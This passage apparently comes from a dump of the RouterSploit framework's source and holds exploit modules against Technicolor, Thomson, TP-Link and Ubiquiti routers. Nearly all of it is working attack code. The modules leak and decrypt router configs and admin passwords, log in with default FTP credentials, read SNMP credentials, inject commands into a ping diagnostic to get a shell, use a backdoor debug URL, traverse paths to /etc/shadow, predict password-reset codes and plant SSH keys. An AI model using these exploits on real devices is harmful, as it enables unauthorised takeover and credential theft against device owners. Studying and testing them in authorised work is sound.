vulnresp in response.text:\n            return True\n        else:\n            return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/technicolor/tc7200_password_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Technicolor TC7200 Password Disclosure\",\n        \"description\": \"Module exploits Technicolor TC7200 password disclosure vulnerability \"\n                       \"which allows fetching administration's password.\",\n        \"authors\": (\n            \"Jeroen - IT Nerdbox\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/31894/\",\n        ),\n        \"devices\": (\n            \"Technicolor TC7200\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/goform/system/GatewaySettings.bin\",\n        )\n        if response is None:\n            return\n\n        if response.status_code == 200 and \"0MLog\" in response.text:\n            print_success(\"Exploit success\")\n            print_status(\"Reading GatewaySettings.bin...\")\n            print_info(response.text)\n        else:\n            print_error(\"Exploit failed. Device seems to be not vulnerable.\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/goform/system/GatewaySettings.bin\"\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and \"0MLog\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/technicolor/tc7200_password_disclosure_v2.py",
    "content": "import binascii\nimport struct\nfrom Crypto.Cipher import AES\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Technicolor TC7200 Password Disclosure V2\",\n        \"description\": \"Module exploits Technicolor TC7200 password disclosure vulnerability which \"\n                       \"allows fetching administration's password.\",\n        \"authors\": (\n            \"Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)\",  # vulnerability discovery\n            \"0BuRner\",  # routersploit module\n            \"Bastian Germann\",  # improved vulnerability check\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40157/\",\n            \"http://www.search-lab.hu/advisories/secadv-20160720\",\n        ),\n        \"devices\": (\n            \"Technicolor TC7200\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/goform/system/GatewaySettings.bin\",\n            )\n            return None\n\n            if response is not None and response.status_code == 200:\n                print_status(\"Reading GatewaySettings.bin...\")\n\n                plain = self.decrypt_backup(response.content)\n                name, pwd = self.parse_backup(plain)\n\n                print_success('Exploit success! login: {}, password: {}'.format(name, pwd))\n            else:\n                print_error(\"Exploit failed. Could not extract config file.\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    @staticmethod\n    def parse_backup(backup):\n        p = backup.find('MLog')\n        if p > 0:\n            p += 6\n            nh = struct.unpack('!H', backup[p:p + 2])[0]\n            name = backup[p + 2:p + 2 + nh]\n            p += 2 + nh\n            pwd = backup[p + 2:p + 2 + nh]\n            return name, pwd\n        return '', ''\n\n    @staticmethod\n    def decrypt_backup(backup):\n        key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')\n        length = (len(backup) / 16) * 16\n        cipher = AES.new(key, AES.MODE_ECB)\n        plain = cipher.decrypt(backup[0:length])\n        return plain\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/goform/system/GatewaySettings.bin\",\n        )\n\n        encr_zero_block = binascii.unhexlify('F29000B62A499FD0A9F39A6ADD2E7780')\n        if response is not None and response.status_code == 200 and encr_zero_block in response.content:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/technicolor/tg784_authbypass.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.ftp.ftp_client import FTPClient\n\n\nclass Exploit(FTPClient):\n    __info__ = {\n        \"name\": \"Technicolor TG784n-v3 Auth Bypass\",\n        \"description\": \"Module exploits Technicolor TG784n-v3 authentication bypass vulnerability.\",\n        \"authors\": (\n            \"Jose Moreira\",  # vulnerability discovery & analysis\n            \"0BuRner\",  # routersploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # little fixes\n        ),\n        \"references\": (\n            \"http://modem-help.forum-phpbb.co.uk/t1-fixing-username-password-problems\",\n            \"http://modem-help.forum-phpbb.co.uk/t2-howto-root-tg784\",\n        ),\n        \"devices\": (\n            \"Technicolor TG784n-v3\",\n            \"Unknown number of Technicolor and Thompson routers\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(21, \"Target FTP port\")\n\n    username = OptString(\"upgrade\", \"Default FTP username\")\n    password = OptString(\"Th0ms0n!\", \"Default FTP password for \\\"upgrade\\\" user\")\n\n    def run(self):\n        creds = self.get_credentials()\n        if creds:\n            print_success(\"Found encrypted credentials:\")\n            print_table((\"Name\", \"Password\", \"Role\", \"Hash2\", \"Crypt\"), *creds)\n\n            print_status(\"Use javascript console (through developer tools) to bypass authentication:\")\n            payload = ('var user = \"{}\"\\n'\n                       'var hash2 = \"{}\";\\n'\n                       'var HA2 = MD5(\"GET\" + \":\" + uri);\\n'\n                       'document.getElementById(\"user\").value = user;\\n'\n                       'document.getElementById(\"hidepw\").value = MD5(hash2 + \":\" + nonce +\":\" + \"00000001\" + \":\" + \"xyz\" + \":\" + qop + \":\" + HA2);\\n'\n                       'document.authform.submit();\\n')\n\n            for user in creds:\n                print_success(\"User: {} Role: {}\".format(user[0], user[2]))\n                print_info(payload.format(user[0], user[3]))\n\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        if self.get_credentials():\n            return True\n\n        return False\n\n    def get_credentials(self):\n        print_status(\"Trying FTP authentication with Username: {} and Password: {}\".format(self.username,\n                                                                                           self.password))\n\n        ftp_client = self.ftp_create()\n        if ftp_client.login(self.username, self.password):\n            print_success(\"Authentication successful\")\n            content = self.ftp_get_content(ftp_client, \"user.ini\")\n            creds = re.findall(r\"add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\\r\\n\", str(content, \"utf-8\"))\n            return creds\n        else:\n            print_error(\"Exploit failed - authentication failed\")\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/thomson/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/thomson/twg849_info_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.snmp.snmp_client import SNMPClient\n\n\nclass Exploit(SNMPClient):\n    __info__ = {\n        \"name\": \"Thomson TWG849 Info Disclosure\",\n        \"description\": \"Module exploits Thomson TWG849 information disclosure vulnerability which allows reading sensitive information.\",\n        \"authors\": (\n            \"Sebastian Perez\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://packetstormsecurity.com/files/133631/Thomson-CableHome-Gateway-DWG849-Information-Disclosure.html\",\n        ),\n        \"devices\": (\n            \"Thomson TWG849\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(161, \"Target SNMP port\")\n\n    verbosity = OptBool(False, \"Enable verbose output: true/false\")\n\n    def __init__(self):\n        self.oids = {\n            # make, model, software version\n            \"model\": \"1.3.6.1.2.1.1.1.0\",\n            \"uptime\": \"1.3.6.1.2.1.1.3.0\",\n\n            # web interface credentials\n            \"username\": \"1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0\",\n            \"password\": \"1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0\",\n\n            # ssid and key\n            \"ssid1\": \"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32\",\n            \"ssid2\": \"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32\",\n\n            # guest network oids\n            \"guest1\": \"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33\",\n            \"guest2\": \"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34\",\n            \"guest3\": \"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35\",\n        }\n\n    def run(self):\n        res = []\n\n        print_status(\"Reading parameters...\")\n        for name in self.oids.keys():\n            snmp_client = self.snmp_create()\n            snmp = snmp_client.get(\"private\", self.oids[name])\n            if snmp:\n                value = str(snmp[0][1])\n\n                if value:\n                    res.append((name, value))\n\n        if res:\n            print_success(\"Exploit success\")\n            print_table((\"Parameter\", \"Value\"), *res)\n        else:\n            print_error(\"Exploit failed - could not read sensitive information\")\n\n    @mute\n    def check(self):\n        snmp_client = self.snmp_create()\n        snmp = snmp_client.get(\"private\", \"1.3.6.1.2.1.1.1.0\")\n        if snmp:\n            return True  # target is not vulnerable\n\n        return False  # target is vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/thomson/twg850_password_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Thomson TWG850 Password Disclosure\",\n        \"description\": \"Module exploits Thomson TWG850 password disclosure vulnerability which allows fetching administration's password.\",\n        \"authors\": (\n            \"Sebastian Perez\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://packetstormsecurity.com/files/136135/Thomson-Router-TWG850-4U-XSS-CSRF-Unauthenticated-Access.html\",\n        ),\n        \"devices\": (\n            \"Thomson TWG850\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/GatewaySettings.bin\",\n        )\n\n        if response is None:\n            return\n\n        if response.status_code == 200 and \"0MLog\" in response.text:\n            print_success(\"Exploit success\")\n            print_status(\"Reading file GatewaySettings.bin\")\n            print_info(response.text)\n        else:\n            print_error(\"Exploit failed. Device seems to be not vulnerable.\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/GatewaySettings.bin\",\n        )\n\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and \"0MLog\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/tplink/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/tplink/archer_c2_c20i_rce.py",
    "content": "import time\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"TP-Link Archer C2 & C20i\",\n        \"description\": \"Exploits TP-Link Archer C2 and Archer C20i remote code execution vulnerability \"\n                       \"that allows executing commands on operating system level with root privileges.\",\n        \"authors\": (\n            \"Michal Sajdak <michal.sajdak[at]securitum.pl\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://sekurak.pl/tp-link-root-bez-uwierzytelnienia-urzadzenia-archer-c20i-oraz-c2/\",  # only in polish\n        ),\n        \"devices\": (\n            \"TP-Link Archer C2\",\n            \"TP-Link Archer C20i\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command shell\")\n            print_status(\"It is blind command injection so response is not available\")\n\n            # requires testing\n            shell(self, architecture=\"mipsbe\", method=\"wget\", location=\"/tmp\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        referer = \"{}/mainFrame.htm\".format(self.target)\n\n        headers = {\n            \"Content-Type\": \"text/plain\",\n            \"Referer\": referer\n        }\n\n        data = (\"[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\\r\\n\"\n                \"dataBlockSize=64\\r\\n\"\n                \"timeout=1\\r\\n\"\n                \"numberOfRepetitions=1\\r\\n\"\n                \"host=127.0.0.1;\" + cmd + \";\\r\\n\"\n                \"X_TP_ConnName=ewan_ipoe_s\\r\\n\"\n                \"diagnosticsState=Requested\\r\\n\")\n\n        # send command\n        self.http_request(\n            method=\"POST\",\n            path=\"/cgi?2\",\n            headers=headers,\n            data=data\n        )\n\n        data = (\"[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\\r\\n\")\n\n        # execute command on device\n        self.http_request(\n            method=\"POST\",\n            path=\"/cgi?7\",\n            headers=headers,\n            data=data\n        )\n        time.sleep(1)\n\n        return \"\"\n\n    @mute\n    def check(self):\n        referer = self.get_target_url(path=\"/mainFrame.htm\")\n        headers = {\n            \"Content-Type\": \"text/plain\",\n            \"Referer\": referer\n        }\n\n        data = (\n            \"[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\\r\\n\"\n            \"dataBlockSize=64\\r\\n\"\n            \"timeout=1\\r\\n\"\n            \"numberOfRepetitions=1\\r\\n\"\n            \"host=127.0.0.1\\r\\n\"\n            \"X_TP_ConnName=ewan_ipoe_s\\r\\n\"\n            \"diagnosticsState=Requested\\r\\n\"\n        )\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/cgi?2\",\n            headers=headers,\n            data=data\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and \"[error]0\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/tplink/archer_c9_admin_password_reset.py",
    "content": "import math\n\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass ExploitError(Exception):\n    def __init__(self, msg: str = \"\"):\n        super(Exception, self).__init__(msg)\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"TP-Link Archer C9 admin password reset (CVE-2017-11519)\",\n        \"description\": \"Module exploits TP-Link Archer C9 password \"\n                       \"reset feature by leveraging a predictable \"\n                       \"random number generator seed.\",\n        \"authors\": (\n            \"William Bowling (wbowling.info)\",  # vulnerability discovery and PoC\n            \"Vadim Yanitskiy <axilirator[at]gmail.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html\",\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11519\",\n        ),\n        \"devices\": (\n            \"TP-Link Archer C60\",\n            \"TP-Link Archer C9\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    RAND_MAX = 0x7fffffff\n\n    def get_time(self) -> int:\n        print_status(\"Getting current time at the target\")\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\",\n        )\n\n        if response is None:\n            raise ExploitError\n        if response.status_code != 200:\n            raise ExploitError\n        if \"Date\" not in response.headers:\n            raise ExploitError\n\n        import email.utils as eu\n\n        date = response.headers[\"Date\"]\n        return eu.mktime_tz(eu.parsedate_tz(date))\n\n    def gen_reset_code(self):\n        print_status(\"Generating reset code at the target\")\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/luci/;stok=/login?form=vercode\",\n            data={\"operation\": \"read\"},\n        )\n\n        if response is None:\n            raise ExploitError\n        if response.status_code != 200:\n            raise ExploitError\n\n    def try_reset_code(self, seed: int) -> bool:\n        code = self.get_random(seed, 100000, 999999)\n        print_status(\"Trying code %d (seed %d)\" % (code, seed))\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/luci/;stok=/login?form=vercode\",\n            data={\"operation\": \"write\", \"vercode\": code},\n        )\n\n        if response is None:\n            raise ExploitError\n        if response.status_code != 200:\n            raise ExploitError\n\n        return response.json()[\"success\"]\n\n    def guess_reset_code(self, time: int):\n        print_status(\"Guessing reset code\")\n\n        for seed in range(time, time + 5):\n            if self.try_reset_code(seed):\n                print_success(\"admin's password has been reset!\")\n                return\n        print_error(\"Could not guess the reset code\")\n\n    # from https://github.com/qbx2/python_glibc_random\n    def glibc_prng(self, seed: int):\n        def int32(x: int) -> int:\n            if x & 0xffffffff > 0x7fffffff:\n                return x & 0xffffffff - 0x100000000\n            else:\n                return x & 0xffffffff\n\n        def int64(x: int) -> int:\n            if x & 0xffffffffffffffff > 0x7fffffffffffffff:\n                return x & 0xffffffffffffffff - 0x10000000000000000\n            else:\n                return x & 0xffffffffffffffff\n\n        r = [0] * 344\n        r[0] = seed\n\n        for i in range(1, 31):\n            r[i] = int32(int64(16807 * r[i - 1]) % 0x7fffffff)\n            if r[i] < 0:\n                r[i] = int32(r[i] + 0x7fffffff)\n        for i in range(31, 34):\n            r[i] = int32(r[i - 31])\n        for i in range(34, 344):\n            r[i] = int32(r[i - 31] + r[i - 3])\n\n        i = 344 - 1\n\n        while True:\n            i += 1\n            r.append(int32(r[i - 31] + r[i - 3]))\n            yield int32((r[i] & 0xffffffff) >> 1)\n\n    def get_random(self, seed: int, t: int, u: int) -> int:\n        prng = self.glibc_prng(seed)\n        r = float(next(prng)) % self.RAND_MAX / self.RAND_MAX\n        return int(math.floor(r * (u - t + 1)) + t)\n\n    def _check(self) -> bool:\n        try:\n            self.time = self.get_time()\n            self.gen_reset_code()\n            return True\n        except ExploitError:\n            return False\n\n    @mute\n    def check(self) -> bool:\n        return self._check()\n\n    def run(self):\n        if self._check():\n            self.guess_reset_code(self.time)\n        else:\n            print_error(\"Device seems to be not vulnerable\")\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/tplink/wdr740nd_wdr740n_backdoor.py",
    "content": "import re\nfrom urllib.parse import quote\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"TP-Link WDR740ND & WDR740N Backdoor RCE\",\n        \"description\": \"Exploits TP-Link WDR740ND and WDR740N backdoor vulnerability that allows \"\n                       \"executing commands on operating system level.\",\n        \"authors\": (\n            \"websec.ca\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://websec.ca/advisories/view/root-shell-tplink-wdr740\",\n        ),\n        \"devices\": (\n            \"TP-Link WDR740ND\",\n            \"TP-Link WDR740N\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString(\"admin\", \"Username to log in with\")\n    password = OptString(\"admin\", \"Password to log in with\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command shell\")\n            shell(self)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        cmd = quote(cmd)\n\n        path = \"/userRpm/DebugResultRpm.htm?cmd={}&usr=osteam&passwd=5up\".format(cmd)\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path,\n            auth=(self.username, self.password)\n        )\n        if response is None:\n            return \"\"\n\n        if response.status_code == 200:\n            regexp = r'var cmdResult = new Array\\(\\n\"(.*?)\",\\n0,0 \\);'\n            res = re.findall(regexp, response.text)\n\n            if len(res):\n                # hard to extract response\n                return \"\\n\".join(res[0].replace(\"\\\\r\\\\n\", \"\\r\\n\").split(\"\\n\"))\n\n        return \"\"\n\n    @mute\n    def check(self):\n        marker = utils.random_text(32)\n        cmd = \"echo {}\".format(marker)\n\n        response = self.execute(cmd)\n\n        if marker in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/tplink/wdr740nd_wdr740n_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"TP-Link WDR740ND & WDR740N Path Traversal\",\n        \"description\": \"Exploits TP-Link WDR740ND and WDR740N path traversal vulnerability\"\n                       \"that allowsto read files from the filesystem.\",\n        \"authors\": (\n            \"websec.ca\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.websec.mx/publicacion/advisories/tplink-wdr740-path-traversal\",\n        ),\n        \"devices\": (\n            \"TP-Link WDR740ND\",\n            \"TP-Link WDR740N\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/shadow\", \"File to read from the filesystem\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            path = \"/help/../../../../../../../../../../../../../../../..{}\".format(self.filename)\n\n            print_status(\"Sending payload request\")\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                pos = response.text.find(\"//--></SCRIPT>\") + 15\n                res = response.text[pos:]\n\n                if len(res):\n                    print_status(\"Reading file {}\".format(self.filename))\n                    print_info(res)\n                else:\n                    print_error(\"Could not read file {}\".format(self.filename))\n\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        path = \"/help/../../../../../../../../../../../../../../../../etc/shadow\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if utils.detect_file_content(response.text, \"/etc/shadow\"):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/tplink/wdr842nd_wdr842n_configure_disclosure.py",
    "content": "from Crypto.Cipher import DES\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"TP-Link WDR842ND configure Disclosure\",\n        \"description\": \"Module exploits TP-Link WDR842ND configure \"\n                       \"disclosure vulnerability which allows fetching configure.\",\n        \"authors\": (\n            \"qingdaoxiaoge <qdpp007[at]outlook.com>\",  # vulnerability discovery\n            \"VegetableCat <yes-reply[at]linux.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://cb.drops.wiki/bugs/wooyun-2015-0110062.html\",\n        ),\n        \"devices\": (\n            \"TP-Link WDR842ND\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def decrypt_authKey(self, authKey):\n        matrix = [[0 for _ in range(15)] for _ in range(15)]\n        passwdLen = 0\n        strDe = \"RDpbLfCPsJZ7fiv\"\n        dic = \"yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD\" \\\n              \"02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV5\" \\\n              \"7fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oB\" \\\n              \"wmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW\"\n\n        passwd = ''\n        for crIndex in range(0, 15):\n            passwdList = ''\n            strComp_authkey = authKey[crIndex]\n            codeCr = ord(strDe[crIndex])\n            for index in range(32, 127):\n                strtmp = chr(index)\n                codeCl = ord(strtmp[0])\n                strDic = dic[(codeCl ^ codeCr) % 255]\n                if strComp_authkey == strDic:\n                    passwdList += strtmp\n            matrix[crIndex] = passwdList\n\n        for i in range(0, 15):\n            if len(matrix[i]) == 0:\n                passwdLen = i\n                break\n            elif i == 14:\n                passwdLen = 15\n        for i in range(0, passwdLen):\n            passwd += matrix[i] + '\\n'\n        return passwd\n\n    def parse(self, data):\n        parts = data.split(b'\\r\\n')\n        del parts[0]\n        for item in parts:\n            try:\n                if 'authKey' in item:\n                    authKey = item.split()[1]\n                if 'cPskSecret' in item:\n                    cPskSecret = item.split()[1]\n                if 'cUsrPIN' in item:\n                    cUsrPIN = item.split()[1]\n            except Exception:\n                pass\n        return authKey, cPskSecret, cUsrPIN\n\n    def decrypt_config_bin(self, data):\n        key = b\"\\x47\\x8D\\xA5\\x0B\\xF9\\xE3\\xD2\\xCF\"\n        crypto = DES.new(key, DES.MODE_ECB)\n        data_decrypted = crypto.decrypt(data).rstrip('\\0')\n        authKey, cPskSecret, cUsrPIN = self.parse(data_decrypted)\n        passwd = self.decrypt_authKey(authKey)\n        return passwd, authKey, cPskSecret, cUsrPIN\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n\n            print_status(\"Sending payload request\")\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/config.bin\",\n            )\n            return None\n\n            if response is not None and response.status_code == 200:\n                print_success(\"Exploit success\")\n                print_status(\"Reading file config.bin\")\n                password, authKey, cPskSecret, cUsrPIN = self.decrypt_config_bin(\n                    response.content)\n                print_success(\"Found cPskSecret:\" + cPskSecret)\n                print_success(\"Found cUsrPIN:\" + cUsrPIN)\n                print_success(\"Found authKey:\" + authKey)\n                print_success(\"Password combination from top to bottom:\" + '\\n' + password)\n\n        else:\n            print_error(\"Exploit failed. Device seems to be not vulnerable.\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/config.bin\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and 'x-bin/octet-stream' in response.headers['Content-Type']:\n            return True  # target is vulnerable\n\n        else:\n            return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/ubiquiti/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/ubiquiti/airos_6_x.py",
    "content": "import tempfile\nfrom io import StringIO\nimport paramiko\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\nfrom routersploit.core.ssh.ssh_client import SSHClient\n\n\nclass Exploit(HTTPClient, SSHClient):\n    __info__ = {\n        \"name\": \"AirOS 6.x - Arbitrary File Upload\",\n        \"description\": \"Exploit implementation for AirOS 6.x - Arbitrary File Upload. \"\n                       \"If the target is vulnerable is possible to take full control of the router.\",\n        \"authors\": (\n            \"93c08539\",  # vulnerability discovery\n            \"Vinicius Henrique Marangoni\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://hackerone.com/reports/73480\",\n            \"https://www.exploit-db.com/exploits/39701/\",\n        ),\n        \"devices\": (\n            \"AirOS 6.x\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(443, \"Target HTTP port\")\n    ssl = OptBool(True, \"SSL enabled: true/false\")\n\n    ssh_port = OptPort(22, \"Target SSH Port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_success(\"Trying to exploit by uploading SSH public key\")\n\n            key = paramiko.RSAKey.generate(1024)\n            public_key = key.get_base64()\n            private_key = StringIO()\n            key.write_private_key(private_key)\n\n            tmp_file_pubkey = tempfile.TemporaryFile()\n            tmp_file_pubkey.write(bytes(\"ssh-rsa \" + public_key, \"utf-8\"))\n            tmp_file_pubkey.seek(0)\n\n            upload_params = {\"file\": (\"../../etc/dropbear/authorized_keys\", tmp_file_pubkey, {\"Expect\": \"\"})}\n\n            response = self.http_request(\n                method=\"POST\",\n                path=\"/login.cgi\",\n                files=upload_params\n            )\n\n            if response is None:\n                print_error(\"Exploit failed - Something was wrong while uploading the SSH Public Key\")\n                return\n\n            print_success(\"Appareantly the exploit worked fine\")\n            print_success(\"Trying to invoke a interactive SSH Shell\")\n\n            ssh_client = self.ssh_create()\n            if ssh_client.login_pkey(\"ubnt\", private_key.getvalue()):\n                ssh.interactive()\n\n        else:\n            print_error(\"Exploit failed - target is not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/login.cgi\"\n        )\n\n        if response is None:\n            return False  # Target not vulnerable\n\n        rand_str = utils.random_text(16)\n        mark = \"vulnerable{}\".format(rand_str)\n\n        tmp_payload = tempfile.TemporaryFile()\n        tmp_payload.write(mark.encode())\n        tmp_payload.seek(0)\n\n        upload_params = {\"file\": (\"../../../../tmp/airview.uavr\", tmp_payload, {\"Expect\": \"\"})}\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/login.cgi\",\n            files=upload_params\n        )\n\n        tmp_payload.close()\n\n        if response is None:\n            return False  # Target not vulnerable\n\n        # Response to verify if the upload was done correctly\n        verify_upload = self.http_request(\n            method=\"GET\",\n            path=\"/airview.uavr\"\n        )\n\n        # Upload empty file to \"clear\" the airview.uavr file\n        clean_tmp_file = tempfile.TemporaryFile()\n        clean_tmp_file.seek(0)\n\n        upload_params = {\"file\": (\"../../../../tmp/airview.uavr\", clean_tmp_file, {\"Expect\": \"\"})}\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/login.cgi\",\n            files=upload_params\n        )\n\n        clean_tmp_file.close()\n\n        if mark in verify_upload.text:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/zte/__init__.py",
    "content": ""
  },
  {
